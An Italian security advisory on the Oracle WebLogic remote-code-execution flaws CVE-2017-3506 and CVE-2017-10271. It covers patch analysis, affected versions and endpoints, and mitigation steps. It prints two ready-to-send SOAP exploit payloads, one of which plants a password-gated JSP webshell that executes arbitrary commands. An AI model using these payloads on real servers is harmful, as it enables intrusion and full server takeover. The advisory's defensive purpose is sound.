
Autore originale: [email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
All'inizio, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro server aziendali. Un gran numero di server aziendali è stato compromesso e il numero di aziende attaccate mostra una chiara tendenza all'aumento, richiedendo grande attenzione. Tra questi, CVE-2017-3506 è una vulnerabilità di esecuzione di codice remoto nel componente WLS di Oracle WebLogic, una vulnerabilità sfruttata in ambienti reali senza dettagli pubblici, e molte aziende non hanno ancora installato tempestivamente la patch. Oracle ha rilasciato la patch per questa vulnerabilità nell'aprile 2017.
Nota sulla patch di CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
È stata semplicemente aggiunta una funzione validate prima della deserializzazione, che lancia un'eccezione e termina se qName è uguale a 'object'. Si può dire semplice e brutale, tuttavia, questo tipo di riparazione con lista nera è difficile da risolvere completamente. Degno di riflessione...
Il metodo di sfruttamento di questa vulnerabilità è relativamente semplice: un attaccante deve solo inviare una richiesta HTTP opportunamente costruita per ottenere i permessi sul server di destinazione, con grande danno. Poiché la vulnerabilità è recente, molti host non hanno ancora applicato la patch pertinente. Si prevede che dopo questo incidente improvviso, il numero di attacchi potrebbe aumentare drasticamente, con molti nuovi host compromessi.
La patch di aprile di Oracle per CVE-2017-3506 non ha riparato completamente la vulnerabilità; è possibile aggirare la patch ed eseguire ancora comandi remoti. La vulnerabilità di bypass attuale, CVE-2017-10271, è stata corretta nella patch di ottobre rilasciata da Oracle.
CVE-2017-10271 (vulnerabilità di bypass dell'esecuzione di comandi remoti wls-wsat)
Oracle WebLogic Server10.3.6.0.0 versione
Oracle WebLogic Server12.1.3.0.0 versione
Oracle WebLogic Server12.2.1.1.0 versione
Oracle WebLogic Server12.2.1.2.0 versione
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Implementare il controllo degli accessi per le risorse che accedono a wls-wsat.
Soluzione temporanea
Senza influenzare il business, in base all'ambiente effettivo, eliminare i seguenti pacchetti war e directory dal programma WebLogic.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Dopo aver riavviato il servizio WebLogic o il sistema, verificare che il seguente link restituisca 404: